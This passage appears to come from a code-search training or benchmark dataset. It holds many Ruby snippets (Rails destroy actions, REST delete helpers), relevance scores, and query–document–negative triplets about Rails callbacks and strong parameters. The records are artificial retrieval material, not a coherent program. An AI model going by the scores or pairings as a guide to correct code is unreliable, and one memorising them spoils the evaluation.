"def destroy\n @addon_list_item.destroy\n respond_to do |format|\n format.html { redirect_to addon_list_items_url, notice: 'Product add on list item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteEntityYext_list( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/yext_list\",params)\n end",
"def destroy\n @nhan_xet = NhanXet.find(params[:id])\n @nhan_xet.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_nhan_xets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configattribmaster.destroy\n respond_to do |format|\n format.html { redirect_to configattribmasters_url, notice: 'Configattribmaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n @extension.destroy\n respond_to do |format|\n format.html { redirect_to request.referrer, notice: 'Extension was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end",
"def destroy\n conf.delete 'api'\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @admin_xampp_version.destroy\n respond_to do |format|\n format.html { redirect_to admin_xampp_versions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab = lab.find(params[:id])\n @lab.destroy\n\n respond_to do |format|\n format.html { redirect_to labs_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @stepsix = Stepsix.find(params[:id])\n @stepsix.destroy\n\n respond_to do |format|\n format.html { redirect_to(stepsixes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n return if @name.nil?\n delete_rest \"extra/#{@name}\"\n end",
"def destroy\n @add_on.destroy\n respond_to do |format|\n format.html { redirect_to add_ons_url, notice: 'Add on was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete_json(url)\n JSON.parse(delete(url, :json, :json))\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @xaction = Xaction.find(params[:id])\n @xaction.destroy\n\n respond_to do |format|\n format.html { redirect_to xactions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @moretinymobtrail = Moretinymobtrail.find(params[:id])\n @moretinymobtrail.destroy\n\n respond_to do |format|\n format.html { redirect_to moretinymobtrails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url, flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n end\n end",
"def destroy\n @modrequest.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @assert = Assert.find(params[:id])\n @assert.destroy\n\n respond_to do |format|\n format.html { redirect_to asserts_url }\n format.json { head :no_content }\n end\n end",
"def delete_api(name)\n url = '/apis/' + name\n payload = {}\n process_kong_request(url, :DELETE, payload)\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end",
"def destroy\n @assert = Assert.find(params[:id])\n @assert.destroy\n\n respond_to do |format|\n format.html { redirect_to asserts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @xlink = Xlink.find(params[:id])\n @xlink.destroy\n\n respond_to do |format|\n format.html { redirect_to xlinks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @htc.destroy\n respond_to do |format|\n format.html { redirect_to htcs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @powe_factor_nozzle_x.destroy\n respond_to do |format|\n format.html { redirect_to powe_factor_nozzle_xes_url, notice: 'Powe factor nozzle x was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end",
"def service_group_delete(a10, name)\n a10.send(:axapi, 'slb.service_group.delete', 'post', {name: name, format: 'json'})\nend",
"def destroy\n @extent_unit = ExtentUnit.find(params[:id])\n @extent_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to extent_units_url }\n format.json { head :no_content }\n end\n end",
"def delete_kubernetes_addon_repository_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.delete_kubernetes_addon_repository ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.delete_kubernetes_addon_repository\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.delete_kubernetes_addon_repository\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#delete_kubernetes_addon_repository\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n @group_addon_list.destroy\n respond_to do |format|\n format.html { redirect_to group_addon_lists_url, notice: 'Group add on list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @extra.destroy\n\n head :no_content\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n response = HTTParty.delete(url, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n redirect_to units_url, notice: 'Unit was successfully deleted.'\n end",
"def destroy\n @http_backend = Http::Backend.find(params[:id])\n @http_backend.destroy\n\n respond_to do |format|\n format.html { redirect_to http_backends_url }\n format.json { head :ok }\n end\n\n Http::Backend.send_to_redis\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n @backend_tutorial_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_tutorial_stats_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @api_state.destroy\n\n head :no_content\n end",
"def destroy\n @extent.destroy\n respond_to do |format|\n format.html { redirect_to extents_url, notice: 'Extent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jetty = Jetty.find(params[:id])\n @jetty.destroy\n\n respond_to do |format|\n format.html { redirect_to jetties_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @aliexpress = Aliexpress.find(params[:id])\n @aliexpress.destroy\n\n respond_to do |format|\n format.html { redirect_to aliexpresses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @extension_type = ExtensionType.find(params[:id])\n @extension_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(extension_types_url) }\n format.xml { head :ok }\n end\n end",
"def delete_kubernetes_addon_definition_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.delete_kubernetes_addon_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.delete_kubernetes_addon_definition\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.delete_kubernetes_addon_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#delete_kubernetes_addon_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n @bits_1.destroy\n respond_to do |format|\n format.html { redirect_to bits_1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @extension_activity\n @extension_activity.destroy\n respond_to do |format|\n format.html { redirect_to extension_activities_url, notice: 'La dedicación de ha eliminado correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tktest = Tktest.find(params[:id])\n @tktest.destroy\n\n respond_to do |format|\n format.html { redirect_to tktests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @store = Store.find(params[:id])\n #tib_res = Tibbr::ExternalResource.find_by_resource_key({:resource => {:key => \"ID_#{@store.id}\", :resource_type => \"ad:store\"}, :client_id => session[:app_id]})\n # tib_res.destroy\n @store.destroy\n \n \n\n respond_to do |format|\n format.html { redirect_to stores_url }\n format.json { head :no_content }\n end\n end",
"def delete(payload = {})\n request! do\n options = {payload: to_payload(payload)}\n api(options)[url.path].delete(API_HEADERS)\n end\n end",
"def destroy\n @dexterity_mod.destroy\n\n head :no_content\n end",
"def destroy\n @wx_config.destroy\n respond_to do |format|\n format.html { redirect_to wx_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_nota = Core::Nota.find(params[:id])\n @core_nota.destroy\n\n respond_to do |format|\n format.html { redirect_to core_notas_url }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @xmcoun.destroy\n respond_to do |format|\n format.html { redirect_to xmcouns_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def delete!\n\t\t\tClient.delete @root\n\t\tend",
"def deleteExecution(execution_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/12/execution/' + execution_id)\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {'Content-Type'=> 'application/jsonr','X-RunDeck-Auth-Token'=> API_KEY }\n r = http.delete(uri.path, headers) \n return r\nend",
"def destroy\n @medium_status_mod = MediumStatusMod.find(params[:id])\n @medium_status_mod.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_status_mods_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @extra.destroy\n respond_to do |format|\n format.html { redirect_to extras_url }\n format.json { head :no_content }\n end\n Partextra.where(extra_id: @extra.id).destroy_all\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end"
] |
[
"0.6735214",
"0.67277354",
"0.6648859",
"0.65678364",
"0.6547034",
"0.6434617",
"0.6434617",
"0.6434617",
"0.6434617",
"0.6413081",
"0.6395515",
"0.6369724",
"0.6368613",
"0.6349269",
"0.6345683",
"0.6269185",
"0.6221252",
"0.6213265",
"0.6203898",
"0.6203898",
"0.6203589",
"0.6201171",
"0.6189044",
"0.6188242",
"0.61794144",
"0.6171925",
"0.6143153",
"0.6134147",
"0.6133842",
"0.6132486",
"0.6119855",
"0.61039686",
"0.60806686",
"0.6070876",
"0.6066951",
"0.6062969",
"0.60499024",
"0.60499024",
"0.60440725",
"0.60297716",
"0.6026727",
"0.6024876",
"0.6011435",
"0.6006539",
"0.6003661",
"0.59983987",
"0.5990123",
"0.59899306",
"0.59869057",
"0.59855014",
"0.598013",
"0.5979696",
"0.59652185",
"0.59616494",
"0.5958183",
"0.5957312",
"0.59561056",
"0.59553754",
"0.59549",
"0.59480506",
"0.59445953",
"0.5937934",
"0.59372663",
"0.59370804",
"0.5935705",
"0.59344435",
"0.59266853",
"0.5923181",
"0.5922677",
"0.59191054",
"0.59173447",
"0.59164155",
"0.59163016",
"0.5914184",
"0.5909389",
"0.59093773",
"0.5906836",
"0.5905759",
"0.5903303",
"0.59030145",
"0.5894802",
"0.5891865",
"0.58918613",
"0.5891623",
"0.5886193",
"0.58846647",
"0.58792615",
"0.58748084",
"0.5872598",
"0.5865591",
"0.5864106",
"0.58576167",
"0.58569777",
"0.58555704",
"0.58533937",
"0.5849581",
"0.58492136",
"0.58462316",
"0.5845057",
"0.58435035"
] |
0.7014161
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_addon
@addon = Addon.all.find {|a| a.name == params[:id]}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def addon_params
params.require(:xmt_addon).permit!
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
